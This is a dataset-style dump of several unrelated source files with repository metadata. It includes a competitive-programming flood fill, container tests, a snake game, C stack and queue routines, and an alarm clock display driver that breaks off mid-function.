kome::objects::StatusManager& statusMgr = kome::objects::StatusManager::getInstance();
statusMgr.setValue( LABEL_STATUS_NAME, EDIT_STATUS_VALUE );
return ret;
}
bool chkOverlapping( kome::objects::Parameters* params )
{
bool ret = true;
// Overlapping Window の場合、Peak Editの処理を行わない(マウスカーソルは矢印に戻す)
wxWindow* p_wxwCanvas = kome::plugin::PluginCallTool::getCanvas( params );
kome::window::Canvas* canvas = dynamic_cast< kome::window::Canvas* >(p_wxwCanvas);
if( canvas == NULL ){
return ret;
}else{
int nCanvasStyle = canvas->getCanvasStyle();
if( nCanvasStyle & kome::window::Canvas::OVERLAPPING ){
// マウスカーソルを通常の矢印に戻す
unsigned int uNumberOfCanvas = kome::window::Canvas::getNumberOfCanvases();
for( unsigned int idx=0; idx<uNumberOfCanvas; idx++ ){
kome::window::Canvas* p_canvas = kome::window::Canvas::getCanvas( idx );
if( p_canvas != NULL ){
p_canvas->SetCursor(wxCursor(wxCURSOR_ARROW)); // 矢印
}
}
return ret;
}else{
; // マウスカーソルはは矢印に戻さない
}
}
return false;
}
|
[
"Satoshi Tanaka@localhost"
] |
Satoshi Tanaka@localhost
|
cc11fb0e0e228e9ba6f2d13a8f40dd24bd8c5b03
|
e850e0117e57435465ef260ff981df149abdba41
|
/Problemas/Barril_de_Rum/3.cpp
|
d9ae78748f7eff1beeaef5e7945ce97a7d360fb6
|
[] |
no_license
|
ldorelli/curso_de_verao_maratona_icmc
|
a23a651bca9764a574db0b7c9b8fb1571ebf488d
|
b5498896bfcf14d156e4aa6801aa7cdb969099e3
|
refs/heads/master
| 2016-08-05T05:42:31.700555
| 2015-02-23T23:56:51
| 2015-02-23T23:56:51
| 30,255,176
| 3
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 947
|
cpp
|
// Anderson Silva, 2014
#include <cstdlib>
#include <cstdio>
#include <iostream>
#include <algorithm>
#include <map>
#include <set>
#include <queue>
#include <stack>
#include <utility>
#include <cmath>
#include <vector>
#include <string.h>
#define N 1003
#define ll long long
#define mp make_pair
#define pb push_back
#define F first
#define S second
#define mod 10e9 + 7
using namespace std;
typedef vector<int> vi;
typedef pair<int, int> ii;
string field[N];
int n, m;
int result = 0;
int used[N][N];
void solve(int i, int j) {
if(i < 0 || i >= n || j < 0 || j >= m || used[i][j] || field[i][j] == 'o') return;
used[i][j] = 1;
result++;
solve(i, j + 1);
solve(i, j - 1);
solve(i + 1, j);
solve(i - 1, j);
}
int main () {
ios::sync_with_stdio(0);
while(cin >> n >> m) {
result = 0;
memset(used, 0, sizeof used);
for(int i = 0; i < n; i++)
cin >> field[i];
solve(0, 0);
cout << result << "\n";
}
return 0;
}
|
[
"biancamsoe@gmail.com"
] |
biancamsoe@gmail.com
|
b0bf8e2cdc84c28684e65b2847f099fe28abb74e
|
48dc4953e424f2e422b36965bf80b8c0b6bf74f2
|
/ft_containers/Test/my_test/test_stack.cpp
|
b910964cdda863f6496c16d0ce5c4d34d43494f0
|
[] |
no_license
|
Krcdb/42
|
21b47feee856aa1ffbebef2e6330146624db6532
|
896d5681bfd2f636f84cc3ba9e9d9a89e169d2d4
|
refs/heads/master
| 2023-05-01T18:50:38.411080
| 2023-03-03T11:35:51
| 2023-03-03T11:35:51
| 125,866,691
| 1
| 0
| null | 2023-04-23T20:01:03
| 2018-03-19T14:02:15
|
C
|
UTF-8
|
C++
| false
| false
| 1,950
|
cpp
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* test_stack.cpp :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: memartin <memartin@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/02/03 16:20:20 by memartin #+# #+# */
/* Updated: 2021/02/03 17:06:36 by memartin ### ########.fr */
/* */
/* ************************************************************************** */
#include "ft_containers.hpp"
void test_stack(void) {
ft::Stack<int> s1;
std::cout << "\n---test empty and size---" << std::endl;
std::cout << "empty : " << s1.empty() << std::endl;
std::cout << "size : " << s1.size() << std::endl;
std::cout << "\n---push 1->5 and display top each push---" << std::endl;
s1.push(1);
std::cout << "top : " << s1.top() << std::endl;
s1.push(2);
std::cout << "top : " << s1.top() << std::endl;
s1.push(3);
std::cout << "top : " << s1.top() << std::endl;
s1.push(4);
std::cout << "top : " << s1.top() << std::endl;
s1.push(5);
std::cout << "top : " << s1.top() << std::endl;
std::cout << "\n---test empty and size---" << std::endl;
std::cout << "empty : " << s1.empty() << std::endl;
std::cout << "size : " << s1.size() << std::endl;
std::cout << "\n---pop twice---" << std::endl;
s1.pop();
std::cout << "top : " << s1.top() << std::endl;
std::cout << "size : " << s1.size() << std::endl;
s1.pop();
std::cout << "top : " << s1.top() << std::endl;
std::cout << "size : " << s1.size() << std::endl;
}
|
[
"medo.mrt@gmail.com"
] |
medo.mrt@gmail.com
|
583d54f837e8a25dae3e87945eaeb5f784953acf
|
5d0de7daeb8e61e05f5321e1b8ce08ec29b89404
|
/emocore/src/EmoPCAWriter.h
|
73cb7dd0b7dfac4376db7cccb9a2063e95f412c8
|
[] |
no_license
|
vasiliy-bout/emorec
|
37681dee72177a0b419b3950b3e5d271f8a58d82
|
a30e49d7f8e4948bb9cb3625b1415de6176a0d35
|
refs/heads/master
| 2020-07-09T07:11:57.972619
| 2010-12-27T02:56:05
| 2010-12-27T02:56:05
| 1,184,248
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 480
|
h
|
#ifndef __EMOPCAWRITER_H__
#define __EMOPCAWRITER_H__
#include <vector>
#include <emobase.h>
class EmoXMLWriter;
class EmoPCAWriter {
public:
EmoPCAWriter();
public:
bool write(const std::string &fileName, const cv::Size &imageSize, const cv::PCA &pca);
private:
void writeSource(EmoXMLWriter &writer, const cv::Size &imageSize);
void writeMatrix(EmoXMLWriter &writer, const std::string &name, const cv::Mat &matrix, int indent);
};
#endif /* __EMOPCAWRITER_H__ */
|
[
"bout.vasiliy@gmail.com"
] |
bout.vasiliy@gmail.com
|
cc18ab70353b8c7994599e37cf7072b3bce40315
|
f09774159c0a5791af0bab7550e7d877d6376ac8
|
/src/entities/fabric/MoverFabric.hpp
|
44122593c6ae0f35d3dad1897664ccbf9d72367a
|
[] |
no_license
|
WathisLove/PokemonAE
|
df2dfca499ba14de3c782f5f007af9c5bb3101c2
|
344d0ae38522f5b4aa7a56a2dc8fac83f00faf4d
|
refs/heads/master
| 2023-04-21T00:33:44.450187
| 2021-05-07T13:57:43
| 2021-05-07T13:57:43
| 364,509,897
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,357
|
hpp
|
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/*
* File: MoverFabric.hpp
* Author: Redbuzard
*
* Created on 25 novembre 2020, 17:23
*/
#ifndef MOVERFABRIC_HPP
#define MOVERFABRIC_HPP
#include "../movements/EntityMover.hpp"
#include <string>
#include <map>
class MoverFabric {
public:
//=================// Constructor //==================//
/**
* Default constructor
*/
MoverFabric() = default;
//=================// Public methods //==================//
/**
* Creates an Entity mover from a string
* @param str the string that will be analysed
* @return a pointer to an EntityMover
*/
EntityMover* createMover(const std::string& str) const;
private:
//=================// Private methods //==================//
/**
* Create a Continuous mover
* @param params the parameters
* @return a pointer to an EntityMover
*/
EntityMover* createContinuousMover(const std::string& params) const;
/**
* Create an empty mover
* @return a pointer to an EntityMover
*/
EntityMover* createNoMover() const;
/**
* Create a Random mover
* @param params the parameters
* @return a pointer to an EntityMover
*/
EntityMover* createRandomMover(const std::string& params) const;
/**
* Create a Rotationnal mover
* @param params the parameters
* @return a pointer to an EntityMover
*/
EntityMover* createRotationnalMover(const std::string& params) const;
/**
* Create a Sequence mover
* @param params the parameters
* @return a pointer to an EntityMover
*/
EntityMover* createSequenceMover(const std::string& params) const;
/**
* Get the MovementType corresponding to a string
* @param str a const reference to the string
* @return the MovementType corresponding
*/
MovementType getMovement(const std::string& str) const;
//=================// Static Map //==================//
// Map to confert string to MovementType
static const std::map<std::string, MovementType> movementStrings;
};
#endif /* MOVERFABRIC_HPP */
|
[
"mrredbuzard@gmail.com"
] |
mrredbuzard@gmail.com
|
ecd3d387654e27a7bc531314b1efe44b604e7c1f
|
5fd87c086e3d424d89bbe89c766175c42bcdc0c7
|
/test/simplephoto/core/PhotoFinderTests.cpp
|
eccdd74fdf34e1ee3fa0e6ebfe10cacda15bf651
|
[] |
no_license
|
nagyist/simple-photo
|
1826d3dec05599a91b84a98e5952249a1704d6df
|
afc0d6fc188761efb9d44a58023b17eb5e16aba7
|
refs/heads/master
| 2016-09-06T03:32:44.133030
| 2009-11-22T14:16:32
| 2009-11-22T14:16:32
| 39,789,365
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,247
|
cpp
|
/*****************************************************************
Copyright 2009 Rui Barbosa Martins
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
either express or implied. See the License for the specific
language governing permissions and limitations under the License.
*****************************************************************/
/*
* PhotoFinderTests.cpp
*
* Created on: May 21, 2009
* Author: ruibm
*/
#include "CppUnitLite/TestHarness.h"
#include "simplephoto/core/Macros.h"
#include "simplephoto/core/Photo.h"
#include "simplephoto/core/PhotoFinder.h"
#include "simplephoto/core/PhotoGroup.h"
using namespace simplephoto;
TEST(PhotoFinderTests, FindAllPhotosInLeafDirectory) {
PhotoFinder finder(wxFileName(wxT("test/data/PhotoFinderTests/dir2")));
PhotoGroup group(wxT(""));
finder.Find(group);
CHECK(group.m_photos.size() == 2);
group.ClearAndDeletePhotos();
}
TEST(PhotoFinderTests, FindAllPhotosInRootDirectory) {
PhotoFinder finder(wxFileName(wxT("test/data/PhotoFinderTests/")));
PhotoGroup group(wxT(""));
finder.Find(group);
CHECK(group.m_photos.size() == 8);
group.ClearAndDeletePhotos();
}
TEST(PhotoFinderTests, FindInNonExistentDirectory) {
PhotoFinder finder(wxFileName(wxT("I/dont/think/its/likely/this/dir/exists")));
PhotoGroup group(wxT(""));
finder.Find(group);
CHECK(group.m_photos.size() == 0);
}
TEST(PhotoFinderTests, FindPhotoPath) {
PhotoFinder finder(wxFileName(wxT("test/data/PhotoFinderTests/1.png")));
PhotoGroup group(wxT(""));
finder.Find(group);
CHECK(group.m_photos.size() == 1);
CHECK(group.m_photos[0]->m_path.GetFullName() == wxString(wxT("1.png")));
group.ClearAndDeletePhotos();
}
TEST(PhotoFinderTests, DontFindInvalidPhoto) {
PhotoFinder finder(wxFileName(wxT("test/data/PhotoFinderTests/not_a_photo.txt")));
PhotoGroup group(wxT(""));
finder.Find(group);
CHECK(group.m_photos.size() == 0);
}
|
[
"ruibm@ruibm.com"
] |
ruibm@ruibm.com
|
960cbf3e4ecd04ef85b5ccbddbafb5e25aeb35b4
|
6f3497c98f88eeda829f093af1c71231d93d20df
|
/2DGameEngine/src/Components/TransformComponent.cpp
|
e4a234b343b2b01edf604b2b9127f2414841ba53
|
[] |
no_license
|
LexaFayte/Udemy_CPP-LUA
|
24f9d8a69ee8279d3a061c3fd331e77445e72aed
|
c6758da7acf33d4cf12297686d8fb9d76b5fe269
|
refs/heads/master
| 2023-03-19T01:17:32.286318
| 2021-02-08T18:37:08
| 2021-02-08T18:37:08
| 332,559,351
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,368
|
cpp
|
#include "TransformComponent.h"
#include "../Entity.h"
#include "../Game.h"
#include <SDL.h>
// ======================================================================================================
// #TRANSFORM_COMPONENET_CONSTRCUTORS
// ======================================================================================================
TransformComponent::TransformComponent() :
position(glm::vec2(0, 0)),
velocity(glm::vec2(0, 0)),
width(32),
height(32),
scale(1)
{
}
TransformComponent::TransformComponent(int PosX, int PosY, int VelX, int VelY, int width, int height, int scale) :
position(glm::vec2(PosX, PosY)),
velocity(glm::vec2(VelX, VelY)),
width(width),
height(height),
scale(scale)
{
}
TransformComponent::TransformComponent(const TransformComponent& other) :
position(other.position),
velocity(other.velocity),
width(other.width),
height(other.height),
scale(other.scale)
{
}
TransformComponent::TransformComponent(TransformComponent&& other) noexcept :
position(std::exchange(other.position, glm::vec2(0,0))),
velocity(std::exchange(other.velocity, glm::vec2(0,0))),
width(std::exchange(other.width,0)),
height(std::exchange(other.height,0)),
scale(std::exchange(other.scale,0))
{
}
TransformComponent& TransformComponent::operator=(const TransformComponent& other)
{
if (this != &other)
{
position = other.position;
velocity = other.velocity;
width = other.width;
height = other.height;
scale = other.scale;
}
return *this;
}
TransformComponent& TransformComponent::operator=(TransformComponent&& other) noexcept
{
if(this != &other)
{
position = std::exchange(other.position, glm::vec2(0, 0));
velocity = std::exchange(other.velocity, glm::vec2(0, 0));
width = std::exchange(other.width, 0);
height = std::exchange(other.height, 0);
scale = std::exchange(other.scale, 0);
}
return *this;
}
// ======================================================================================================
// #TRANSFORM_COMPONENET_FUNCTIONS
// ======================================================================================================
void TransformComponent::Initialize(Entity* owner)
{
_owner = owner;
}
void TransformComponent::Update(float deltaTime)
{
position.x += velocity.x * deltaTime;
position.y += velocity.y * deltaTime;
}
void TransformComponent::Render()
{
}
|
[
"luciferfayte@hotmail.com"
] |
luciferfayte@hotmail.com
|
193a775478aa8e5ae50ff1cb29d660272d76a1b1
|
2b393d8c4040fe1641c7b7484dc90ded4a0bc944
|
/Spiderdungeon/Classes/HighscoreScene.h
|
4dc70ffe98a87fd8a9fef3f27fcf59891d06ea49
|
[
"MIT"
] |
permissive
|
r-wittmann/mmp
|
cea16c6ab3b87a53f12de807ede3b357e89fe9fa
|
f500ba9152a17be2b5fa099d830a897dee318953
|
refs/heads/master
| 2020-02-26T14:33:17.534007
| 2016-07-12T19:15:38
| 2016-07-12T19:15:38
| 61,307,093
| 0
| 0
| null | 2016-06-22T13:12:08
| 2016-06-16T15:57:29
| null |
UTF-8
|
C++
| false
| false
| 466
|
h
|
#ifndef HighscoreScene_h
#define HighscoreScene_h
#include "cocos2d.h"
class HighscoreScene : public cocos2d::Layer
{
public:
static cocos2d::Scene* createScene();
virtual bool init();
// a selector callback
void ExitGame(cocos2d::Ref* sender);
void goToMenuScene(cocos2d::Ref* sender);
std::list<int> highscoreLines;
// implement the "static create()" method manually
CREATE_FUNC(HighscoreScene);
};
#endif
|
[
"rainer.wittmann@comsysto.com"
] |
rainer.wittmann@comsysto.com
|
c63e99d6f7cbf004b849ab3fcece7b5c926defc2
|
0c7f22d8e35138e0d88be7e4b4317506f98fcaa0
|
/main.cpp
|
39fe9aa5dc7d5460f288fb66bd513f21d9fd99eb
|
[] |
no_license
|
shauryaatal/Qt-Snake-Game
|
4c11f54cf4a0f7b21d27ef04e2e587ac4b3fce33
|
9fbe1532c726e3b7c40fa93cda4e29aeaab9fe75
|
refs/heads/master
| 2022-04-23T18:02:31.257411
| 2020-04-27T01:01:19
| 2020-04-27T01:01:19
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,088
|
cpp
|
#include <QApplication>
#include <QGraphicsScene>
#include "snake.h"
#include "food.h"
#include <QGraphicsView>
#include <QTimer>
int main(int argc, char *argv[])
{
QApplication app(argc, argv);
QGraphicsScene * scene = new QGraphicsScene();
// create rect item to put in scene
snake * newSnake = new snake();
food * newFood = new food();
newSnake->setRect(0,0,5,10);
scene->addItem(newSnake);
scene->setSceneRect(0,0,700,700);
// make rect focusable
newSnake->setFlag(QGraphicsItem::ItemIsFocusable);
newSnake->setFocus();
// add view to scene
QGraphicsView * view = new QGraphicsView(scene);
view->setFixedSize(700, 700);
view->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
view->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
view->show();
newSnake->setPos(view->width()/2,view->height() - newSnake->rect().height());
// spawn food randomly
QTimer * timer = new QTimer();
QObject::connect(timer,SIGNAL(timeout()),newFood,SLOT(spawn()));
timer->start(2000);
return app.exec();
}
|
[
"iamkuhl@bu.edu"
] |
iamkuhl@bu.edu
|
e0870f43869063a5c4ed1df99fa7271227088483
|
396ac27475acc5cdadeecfd5b89db2b89d140fd5
|
/main.cpp
|
7806c0169062e906103c0fe29872c5ca505bd406
|
[] |
no_license
|
yanpark/Veiculo
|
a4bb03d40a086bde92349c3d161e5ae0fb5c418c
|
953d42cd9838a635b853d3fa0e939fa6f56c8b38
|
refs/heads/master
| 2021-01-21T12:59:18.707101
| 2016-05-04T18:12:42
| 2016-05-04T18:13:30
| 55,269,482
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,922
|
cpp
|
#include <iostream>
#include <vector>
#include <string>
#include <stdlib.h>
#include"Veiculo.h"
#include"Terrestre.h"
#include"Aereo.h"
#include"Carro.h"
#include"Onibus.h"
#include"Caminhao.h"
#include"Aviao.h"
#include"Helicoptero.h"
#include"Carga.h"
#include"Unidade.h"
#include"Liquido.h"
#include"Pessoa.h"
#include"Dono.h"
#include"Cliente.h"
using namespace std;
int main(int argc, char **argv){
vector < Carga * > cargas(2);
cargas[0] = new Unidade("Melao","Belem","Salinas");
cargas[1] = new Liquido("Gasolina","Rio de Janeiro","Niteroi");
for(int i = 0; i < 5; i++){
cargas[i] -> numDeCargas();
cout << "\n\n";
system("pause");
system("cls");
}
vector < Pessoa * > pessoas(2);
pessoas[0] = new Dono("Renato Ramos",4173821,98245728);
pessoas[1] = new Cliente("Helton Andrade",7432936,986390861);
for(int i = 0; i < 5; i++){
pessoas[i] -> statusPessoa();
cout << "\n\n";
system("pause");
system("cls");
}
vector < Veiculo * > veiculos(5);
veiculos[0] = new Carro("Ferrari","AXL","Vermelho","Alcool");
veiculos[1] = new Onibus("GOL","XKF","Branco","Gasolina");
veiculos[2] = new Caminhao("Wolfswagem","VTW 450","Azul","Gasolina");
veiculos[3] = new Aviao("TAM","GTR 290","Branco","Gasolina");
veiculos[4] = new Helicoptero("Liteo","RXW","Preto","Gasolina");
for(int i = 0; i < 5; i++){
veiculos[i] -> dirigir();
system("pause");
system("cls");
Caminhao*ptr3 = dynamic_cast < Caminhao *> (veiculos[i]);
if(ptr3 != 0){
ptr3 -> transportarCarga();
}
cout << endl << endl;
}
cargas.clear();
pessoas.clear();
veiculos.clear();
return 0;
}
|
[
"FACOMP@LAB1-PC26"
] |
FACOMP@LAB1-PC26
|
0f16c2dfea6f417ac2ad6173c2bf328e6a7101e4
|
12740934ac9d6335590b95a51bf9cb89068fe818
|
/c++/stack.cpp
|
e9b21eaac9c183b862d60040f56cb2af002c13a8
|
[] |
no_license
|
liushut/theMain
|
825784ff4a079673211629103a5947ea91519137
|
e3d1de25f571c457fe1c3d9a2ec8e58533a14116
|
refs/heads/master
| 2021-08-31T13:37:26.288385
| 2017-12-21T14:17:33
| 2017-12-21T14:17:33
| 113,754,654
| 0
| 0
| null | null | null | null |
GB18030
|
C++
| false
| false
| 3,877
|
cpp
|
#include"stack.h"
//初始化
SqeStack*Init_Stack()
{
SqeStack* stack = (SqeStack*)malloc(sizeof(SqeStack));
for (int i = 0; i < 1024; i++)
{
stack->data[i] = NULL;
}
stack->size = 0;
return stack;
}
//入栈
void Push_Stack(SeqStack*stack, void* data)
{
if (data == NULL)
{
return;
}
if (stack == NULL)
{
return;
}
if (stack->size == 1024)
{
return;
}
stack->data[stack->size] = data;
stack->size++;
}
//返回栈顶元素
void*Top_Stack(SeqStack*stack)
{
if (stack == NULL)
{
return NULL;
}
if (stack->size == 0)
{
return NULL;
}
return stack->data[stack->size-1];
}
//出栈
void Pop_Stack(SeqStack*stack)
{
if (stack == NULL)
{
return;
}
if (stack->size == 0)
{
return;
}
stack->data[stack->size - 1] = NULL;
stack->size--;
}
//判断是否为空
int IsEmpty(SeqStack*stack)
{
if (stack == NULL)
{
return 1;
}
if (stack->size == 0)
{
return 1;
}
return 0;
}
//返回栈中元素个数
int Size_Stack(SeqStack*stack)
{
return stack->size;
}
//清空栈
void Clear_Stack(SeqStack*stack)
{
if (stack == NULL)
{
return;
}
for (int i = 0; i < stack->size; i++)
{
stack->data[i] = NULL;
}
stack->size = 0;
}
//销毁
void Free_Stack(SeqStack*stack)
{
if (stack != NULL)
{
return;
}
free(stack);
}
LinkStack* Init_LinkStack()
{
LinkStack* stack = (LinkStack*)malloc(sizeof(LinkStack));
stack->head.next = NULL;
stack->size = 0;
return stack;
}
//入栈
void Push_LinkStack(LinkStack*stack,LinkStackNode*data)
{
if (data == NULL)
{
return;
}
if (stack == NULL)
{
return;
}
data->next = stack->head.next;
stack->head.next = data;
stack->size++;
}
//出栈
void Pop_LinkStack(LinkStack*stack)
{
if (stack == NULL)
{
return;
}
if (stack->size == 0)
{
return;
}
LinkStackNode*pNext = stack->head.next;
stack->head.next = pNext->next;
stack->size--;
}
//返回栈顶
LinkStackNode* Top_LinkStack(LinkStack*stack)
{
if (stack == NULL)
{
return NULL;
}
if (stack->size == 0)
{
return NULL;
}
return stack->head.next;
}
//返回栈中元素个数
int Size_LinkStack(LinkStack*stack)
{
return stack->size;
}
//清空
void Clear_LinkStack(LinkStack*stack)
{
if (stack == NULL)
{
return;
}
//这里就不要delete内存。不归我管。
stack->head.next = NULL;
stack->size = 0;
}
//销毁
void Free_LinkStack(LinkStack*stack)
{
if (stack == NULL)
{
return;
}
free(stack);
}
//初始化
SeqQueue* Init_SeqQueue()
{
SeqQueue* queue = (SeqQueue*)malloc(sizeof(SeqQueue));
for (int i = 0; i < MAX_SIZE; i++)
{
queue->data[i] = NULL;
}
queue->size = 0;
return queue;
}
//入队
void Push_SeqQueue(SeqQueue*queue, void* data)
{
//数组左边当对头 从0位置开始
if (queue == NULL)
{
return;
}
if (queue->size > MAX_SIZE)
{
return;
}
if (data = NULL)
{
return;
}
queue->data[queue->size] = data;
queue->size++;
}
//返回对头元素
void* Front_SeqQueue(SeqQueue*queue)
{
if (queue == NULL)
{
return NULL;
}
if (queue->size == 0)
{
return NULL;
}
return queue->data[0];
}
//出队列
void Pop_SeqQueue(SeqQueue*queue)
{
//需要移动元素
if (queue == NULL)
{
return;
}
if (queue->size == 0)
{
return;
}
for (int i = 0; i < queue->size - 1; i++)
{
queue->data[i] = queue->data[i + 1];
}
queue->size--;
}
//返回队尾的元素
void* Back_SeqQueue(SeqQueue*queue)
{
if (queue == NULL)
{
return NULL;
}
if (queue->size == NULL)
{
return NULL;
}
return queue->data[queue->size-1];
}
//返回大小
int Size_SeqQueue(SeqQueue*queue)
{
if (queue == NULL)
{
return -1;
}
return queue->size;
}
//清空队列。
void Clear_SeqQueue(SeqQueue*queue)
{
if (queue == NULL)
{
return;
}
for (int i = 0; i < queue->size; i++)
{
queue->data[i] = NULL;
}
queue->size = 0;
}
//销毁
void Free_SeqQueue(SeqQueue*queue)
{
if (queue == NULL)
{
return;
}
free(queue);
}
|
[
"771689211@qq.com"
] |
771689211@qq.com
|
bcc0efba24a58ddedd76fbfba099a46500c015ca
|
f15049e67154a724b6971ca14b1ac23e289855a6
|
/projects/alarm_clock/src/display.cpp
|
d46667c00065ad8b6ae29f2799d3ed62348fb081
|
[] |
no_license
|
SteynWin/microcontroller-projects
|
7f80c0837c6d95f5ee9fdb114baf1aca8f95a9f9
|
ced308beca1a93ee2908774a6a5aa2a95af6288c
|
refs/heads/master
| 2020-08-27T21:27:27.134862
| 2019-10-24T14:30:31
| 2019-10-24T14:30:31
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 9,932
|
cpp
|
#include "display.h"
using namespace digitalcave;
static Buffer* display_buffer;
static void display_write_time(time_t time, int8_t flash_field);
static void display_write_date(time_t time, int8_t flash_field);
//This determines how fast things flash
#define FLASH_TIMER_PERIOD 0x7F
#define FLASH_TIMER_PHASE 0x3F
#define NO_FLASH 0xFF
static uint8_t flash_timer = 0;
//This determines how fast things scroll
#define SCROLL_TIMER_PERIOD 0x07
static uint8_t scroll_timer = 0;
static int8_t scroll_value = 0;
//These exist in state.cpp
extern time_t now;
extern tm_t now_tm;
static char buffer[10];
void display_init(){
display_buffer = new Buffer(32, 8);
display_buffer->clear();
max7219_init(4);
}
void display_update(){
display_buffer->clear();
flash_timer++;
if (flash_timer > FLASH_TIMER_PERIOD){
flash_timer = 0;
}
scroll_timer++;
if (scroll_timer > SCROLL_TIMER_PERIOD){
scroll_timer = 0;
}
config_t config = state_get_config();
uint8_t mode = state_get_mode();
uint8_t menu_item = state_get_menu_item();
uint8_t edit_item = state_get_edit_item();
if (mode == MODE_TIME){
if (edit_item == EDIT_TIME_TIME){
scroll_value = 4;
display_write_time(now, -1);
}
else if (edit_item == EDIT_TIME_LAMP){
display_buffer->write_char(light_state() ? 'M' : 'N', font_icon, 3, 0); //Icon M / N is lamp on / off
snprintf(buffer, sizeof(buffer), "%d", config.lamp_brightness);
display_buffer->write_string(buffer, font_5x8, config.lamp_brightness < 10 ? 23 : (config.lamp_brightness < 100 ? 17 : 12), 0);
}
else if (edit_item == EDIT_TIME_MUSIC){
display_buffer->write_char(music_is_playing() ? 'K' : 'L', font_icon, 3, 0); //Icon K / L is music on / off
snprintf(buffer, sizeof(buffer), "%d", config.volume);
display_buffer->write_string(buffer, font_5x8, (config.volume < 10 ? 23 : 17), 0);
}
}
else if (mode == MODE_MENU){
if (menu_item <= MENU_SET_ALARM_3){ //Alarm 1, 2, or 3
display_buffer->write_string("SET", font_3x5, 2, 2);
display_buffer->write_char('I', font_icon, 16, 0); //Alarm icon
display_buffer->write_char((char) (menu_item + 0x31 - MENU_SET_ALARM_1), font_5x8, 25, 0);
}
else if (menu_item == MENU_SET_TIME){
display_buffer->write_string("SET", font_3x5, 5, 2);
display_buffer->write_char('J', font_icon, 19, 0); //Clock icon
}
else if (menu_item == MENU_CONFIG){
display_buffer->write_char('T', font_icon, 0, 0); //Wrench icon
display_buffer->write_string("CONFIG", font_3x5, 9, 2);
}
}
else if (mode == MODE_EDIT){
if (menu_item == MENU_SET_ALARM_1 || menu_item == MENU_SET_ALARM_2 || menu_item == MENU_SET_ALARM_3){
//Find alarm index
uint8_t alarm_index;
if (menu_item == MENU_SET_ALARM_1){
alarm_index = 0;
}
else if (menu_item == MENU_SET_ALARM_2){
alarm_index = 1;
}
else if (menu_item == MENU_SET_ALARM_3){
alarm_index = 2;
}
alarm_t alarm = state_get_alarm(alarm_index);
if (edit_item == 0){
display_buffer->write_char('I', font_icon, 3, 0); //0 is alarm icon
display_buffer->write_char((char) (menu_item + 0x31 - MENU_SET_ALARM_1), font_5x8, 12, 0);
display_buffer->write_char(alarm.enabled & _BV(7) ? 'R' : 'S', font_icon, 21, 0); //Checkmark or Cross
}
else if (edit_item == 1 || edit_item == 2){
tm_t now_tm;
localtime_r(&now, &now_tm);
now_tm.tm_hour = alarm.hour;
now_tm.tm_min = alarm.minute;
display_write_time(mktime(&now_tm), edit_item - 1);
}
else if (edit_item == 3){ //Lamp brightness
display_buffer->write_char('M', font_icon, 2, 0); //Icon 3 is brightness
snprintf(buffer, sizeof(buffer), "%d", alarm.lamp_brightness);
display_buffer->write_string(buffer, font_5x8, alarm.lamp_brightness < 10 ? 26 : (alarm.lamp_brightness < 100 ? 20 : 14), 0);
}
else if (edit_item == 4){ //Lamp rampup time
display_buffer->write_char('M', font_icon, 2, 0); //Brightness
display_buffer->write_char('1', font_icon, 11, 0); //Clock
snprintf(buffer, sizeof(buffer), "%d", alarm.lamp_speed);
display_buffer->write_string(buffer, font_5x8, (alarm.lamp_speed < 10 ? 26 : 20), 0);
}
else if (edit_item == 5){ //Music volume
display_buffer->write_char('K', font_icon, 2, 0); //Music
snprintf(buffer, sizeof(buffer), "%d", alarm.music_volume);
display_buffer->write_string(buffer, font_5x8, (alarm.music_volume < 10 ? 26 : 20), 0);
}
else if (edit_item == 6){ //Music rampup time
display_buffer->write_char('K', font_icon, 2, 0); //Music
display_buffer->write_char('J', font_icon, 11, 0); //Clock
snprintf(buffer, sizeof(buffer), "%d", alarm.music_speed);
display_buffer->write_string(buffer, font_5x8, (alarm.music_speed < 10 ? 26 : 20), 0);
}
else if (edit_item == 7){ //Music folder number
display_buffer->write_char('K', font_icon, 2, 0); //Icon 2 is music
display_buffer->write_char('P', font_icon, 11, 0); //Icon 5 is folders
snprintf(buffer, sizeof(buffer), "%02d", alarm.music_folder);
display_buffer->write_string(buffer, font_5x8, 20, 0);
}
else {
int8_t day_index = edit_item - 8;
if (scroll_timer == 0 && scroll_value != (day_index * -7) + 14){
if (scroll_value < (day_index * -7) + 14) scroll_value++;
else scroll_value--;
}
for (uint8_t i = 0; i < 7; i++){
if (alarm.enabled & _BV(i)){
//Draw the underline for days that are enabled
display_buffer->write_char('H', font_icon, (i * 7) + scroll_value, 0);
}
if (flash_timer > FLASH_TIMER_PHASE || day_index != i){
//Write the days
display_buffer->write_char((char) (i + 0x41), font_icon, (i * 7) + scroll_value, 0); //In the Icon font, we define Sunday as 'A' (0x41), Monday as 'B', etc. So (i + 0x41) returns the day of the week.
}
}
}
}
else if (menu_item == MENU_SET_TIME){
if (edit_item <= 2){
display_write_date(now, edit_item);
}
else {
display_write_time(now, edit_item - 3);
}
}
else if (menu_item == MENU_CONFIG){
if (edit_item == 0){ //Default folder number
display_buffer->write_char('K', font_icon, 0, 0); //Music
display_buffer->write_char('P', font_icon, 9, 0); //Folders
snprintf(buffer, sizeof(buffer), "%02d", config.music_folder);
display_buffer->write_string(buffer, font_5x8, 21, 0);
}
else if (edit_item <= 8){ //Config file count in each folder
display_buffer->write_char('Q', font_icon, 1, 0); //Files
display_buffer->write_char((char) (edit_item + 0x30), font_5x8, 11, 0);
